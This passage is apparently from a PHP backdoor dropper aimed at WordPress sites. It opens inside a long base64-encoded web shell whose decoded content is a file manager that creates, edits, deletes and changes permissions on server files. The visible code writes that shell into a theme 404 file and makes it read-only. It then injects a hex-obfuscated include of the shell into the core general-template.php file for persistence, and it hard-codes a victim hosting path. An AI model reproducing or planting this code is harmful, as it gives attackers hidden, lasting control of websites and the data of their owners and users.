ku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = 